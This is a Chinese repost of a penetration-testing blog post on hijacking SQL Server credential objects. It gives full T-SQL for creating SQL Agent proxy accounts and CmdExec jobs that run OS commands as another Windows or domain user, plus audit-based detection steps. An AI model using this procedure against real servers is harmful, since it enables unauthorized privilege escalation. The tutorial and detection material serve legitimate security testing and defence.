在本博客中,我将介绍 SQL Server 凭据对象,并讨论威胁行为者如何滥用它们以 SQL Server 登录名、本地 Windows 用户或域用户身份执行代码。我还将介绍如何启用可用于检测相关行为的日志记录。这对寻求合法身份验证解决方法的渗透测试人员、红队成员和 DBA 来说应该很有趣。
场景
让我们首先描绘一个常见的场景以及我们试图用这种技术解决的问题。
-
您是渗透测试员或红队成员。
-
您通过常见攻击媒介(例如 SQL 注入、弱密码、过多的权限或错误配置的 SQL Server 链接)获得了 SQL Server 实例上的 sysadmin 权限。
-
您可以使用各种技术(如 xp_cmdshell、自定义 CLR、代理作业等)在 SQL Server 服务帐户的上下文中在主机操作系统上执行命令和代码。
-
问题在于,SQL Server 服务帐户配置为以NT ServiceMSSQLSERVER身份运行,该帐户在操作系统上具有有限的权限。作为测试人员,我们希望至少拥有本地管理员权限,如果幸运的话,则拥有域管理员权限。因此,我们需要找到一种解决方法。
-
鉴于NT ServiceMSSQLSERVER帐户的限制,我们的下一步通常是尝试在本地提升权限。Windows 中有许多以操作系统为中心的权限提升方法,包括但不限于 #AllThePotatoes 。但是,我想考虑一下如果在 SQL Server 实例上配置了 SQL Server 凭据,在这种情况下它们可能会如何被滥用。
让我们来探讨一下这个想法。
SQL Server 中的凭据对象是什么?
凭据是 SQL Server 中存储信息(例如用户名和密码)的对象,可用于向其他 SQL Server、文件共享或 Web 服务等外部资源进行身份验证,以及在另一个用户的上下文中执行流程/任务。凭据类型包括 SQL Server 登录名、本地 Windows 用户和 Active Directory 域用户。
SQL Server 中使用凭据的一些常见子系统包括:
-
代理职位
-
SQL Server 集成服务 (SSIS)
-
SQL Server 报告服务 (SSRS)
-
链接服务器
-
数据库邮件
-
服务代理
-
复制
SQL Server 中的凭据对象有许多合法用例,但与所有存储的身份验证令牌一样,它们可能成为威胁行为者的攻击目标并被滥用。
如何恢复存储在凭证对象中的用户名和密码?
在特权提升过程中,获取明文密码非常有用。那么我们如何从 SQL Server 凭据对象中恢复它们呢?最大的障碍是加密。存储在凭据对象中的信息通过此处描述的过程进行加密。
幸运的是,Antti Rantasaari 于 2014 年开发了一个 PowerShell 脚本,可以解密存储在 SQL Server 对象中的凭据。他还提供了一篇详细的博客文章,概述了解密过程。此后,Chrissy LeMaire 将此脚本移植到DBATools 模块中的Get-DecryptedObject函数中,并积极维护它。
要运行 Antti 的函数,请导入他的 PowerShell 函数,并运行以下命令。
获取 MSSQLCredentialPasswords
然而,在开始这条路之前您应该知道有一些要求。
可用的 | 要求 | 描述 |
---|---|---|
是的 | 必须在 SQL Server 实例中创建一个或多个凭据对象才能恢复密码。 | 在我们的场景中,我们假设已创建凭证对象。然而,在现实世界中,您必须确认这一点。 |
是的 | Sysadmin 权限 | 在我们的场景中,我们有这个。 |
是的 | DAC 连接 | 通过系统管理员权限,我们可以通过操作系统命令执行或即席查询来建立一个。 |
不 | 本地管理员权限 | 需要本地管理员权限才能从 SOFTWAREMicrosoftMicrosoft SQL Server[instancename]SecurityEntropy 读取加密材料。ServiceMSSQLSERVER帐户无权访问该注册表项。 |
在我们的场景中,我们没有满足从凭证对象中恢复明文密码的所有必要条件。Antti Rantasaari 的技术非常有效,但它要求我们已经拥有托管 SQL Server 实例的 Windows 系统上的本地管理权限。如果没有这些管理权限,该技术就无法应用。那么,如果我们没有本地管理权限,我们有什么选择呢?
如何在没有本地管理员访问权限的情况下滥用 SQL Server 凭据对象?
如前所述,SQL Server 中的凭据对象旨在允许访问外部资源并在另一个用户的上下文中执行任务。这意味着我们不需要恢复存储在凭据对象中的明文用户名和密码即可在另一个用户的上下文中运行代码 - 我们可以按照设计的方式利用该功能。
下面是一个可用于“劫持”在 SQL Server 实例上配置的现有凭据对象的过程,允许您使用 SQL Server 代理作业在提供的用户上下文中执行代码。无需密码或本地操作系统管理员权限。🙂
实验室设置
-
安装 SQL Server。
-
创建一个名为testuser的本地 Windows 用户 ,并将其设为本地管理员。
net user testuser P@ssw0rd! /add
net localgroup administrators /add testuser
3.登录 SQL Server 并创建凭证对象。
CREATE CREDENTIAL [MyCredential]
WITH IDENTITY = 'yourcomputernameheretestuser',
SECRET = 'P@ssw0rd!';
凭证模拟演练
1.登录 SQL Server 实例。验证您是否具有系统管理员访问权限。
SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;
2.列出凭据。下面的查询将为您提供在 SQL Server 实例上配置的凭据列表。如果存在,您就成功了一半。
SELECT * FROM sys.credentials
3.列出代理帐户。代理帐户与凭证对象绑定,并由代理作业使用。利用现有的代理帐户可以降低被发现的可能性。
USE msdb;
GO
SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO
4.创建代理帐户。如果我们想要滥用/模仿的凭据对象尚不存在代理帐户,那么我们可以创建一个并为其分配所需的权限。有关代理帐户的更多信息,请查看https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16。
USE msdb;
GO
EXEC sp_add_proxy
@proxy_name = N'MyCredentialProxy', -- Name of the proxy
@credential_name = N'MyCredential'; -- Name of the existing credential
EXEC sp_grant_proxy_to_subsystem
@proxy_name = N'MyCredentialProxy',
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem
5.验证代理帐户是否已创建。
USE msdb;
GO
SELECT
proxy_id,
name AS proxy_name,
credential_id,
enabled
FROM
dbo.sysproxies;
GO
6.创建代理作业以在操作系统上执行所需的代码或命令。可用的默认选项包括 PowerShell、VBScript、JScript 和 CMDEXEC。确保作业配置了适当的代理帐户。在下面的概念验证示例中,该过程只是在 C:WindowsTemp 文件夹中创建一个名为 whoami.txt 的文件,以证明该过程是在代理用户的上下文中执行的。
USE msdb;
GO
-- Create the job
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- Name of the job
-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec',
@command = N'c:windowssystem32cmd.exe /c whoami > c:windowstempwhoami.txt',
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'MyCredentialProxy'; -- The proxy created earlier
-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = Once
@active_start_date = 20240820,
@active_start_time = 120000;
-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)';
7.使用以下查询来验证代理是否正在使用代理帐户。该查询还将列出配置为使用代理帐户运行的所有其他代理作业。
USE msdb;
GO
SELECT
jobs.name AS JobName,
steps.step_id AS StepID,
steps.step_name AS StepName,
proxies.name AS ProxyName,
ISNULL(credentials.name, 'No Credential') AS CredentialName,
ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName
FROM
msdb.dbo.sysjobs AS jobs
JOIN
msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id
JOIN
msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id
LEFT JOIN
sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id
WHERE
steps.proxy_id IS NOT NULL
ORDER BY
jobs.name, steps.step_id;
8.执行代理作业,以便在代理账户的上下文中启动一个进程并执行您的代码/命令。
EXEC sp_start_job @job_name = N'WhoAmIJob';
EXEC sp_start_job @job_name = N'WhoAmIJob';
9.通过检查 c:windowstempwhoami.txt 文件内容确认执行。
因此,总结一下,我们能够使用凭据在主机操作系统上执行命令,而无需知道关联的用户名或密码。但是,此时,如果您能够模拟具有本地管理权限的用户,您还可以使用 Antti 的技术从配置的凭据对象中恢复明文用户名和密码。
探测和狩猎机会
上一节对攻击者来说很棒,但对防御者来说却不是那么好。下面概述了一些对好人来说的检测机会。
数据来源:应用程序日志
检测策略:行为
检测概念: 要检测使用代理帐户的凭据对象的滥用,请创建服务器和数据库审计规范,通过监控“sp_add_proxy”和“sp_grant_proxy_to_subsystem”存储过程的执行情况,可以识别何时创建代理帐户。还可以将 SQL Server 配置为将这些事件发送到 Windows 应用程序日志,在该日志中可以启用事件 ID 33205 的监控。
已知检测注意事项:某些数据库管理员可能会将凭据和代理帐户用于合法目的,但这种情况不应经常发生。
检测配置说明:
1.创建服务器审计。
Use master
CREATE SERVER AUDIT [ProxyAccountAudit]
TO APPLICATION_LOG
WITH (ON_FAILURE = CONTINUE);
GO
2.创建数据库审计规范。这将捕获 msdb 数据库中的服务器级别和数据库级别的更改。
USE msdb;
GO
CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]
FOR SERVER AUDIT [ProxyAccountAudit]
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])
WITH (STATE = ON);
GO
3.启用该规范。
Use master
GO
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON);
GO
Use msdb
GO
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]
WITH (STATE = ON);
GO
4.如果您重新运行代理帐户创建步骤并查看 Windows 应用程序日志中的事件 ID 33205,您应该会看到“sp_add_proxy”和“sp_grant_proxy_to_subsystem”存储过程执行的实例。
结束语
如果您想了解我之前与 SQL Server 相关的攻击性安全工作,您可以在 powerupsql.com上找到它。该网站包括 PowerUpSQL 代码、SQL 攻击模板、检测模板、权限提升备忘单、博客和专注于黑客攻击 SQL Server 的演示文稿。
注意:我还没有尝试针对 Azure SQL 数据库测试此技术,但我的初步研究表明不支持凭据。
附言:非常感谢 7 Minute Security(@7MinSec – 7minsec.com)的 Brian 概述了导致此解决方案的场景/问题空间。
原文始发于微信公众号(Ots安全):使用代理作业劫持 SQL Server 凭据以实现域权限升级
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论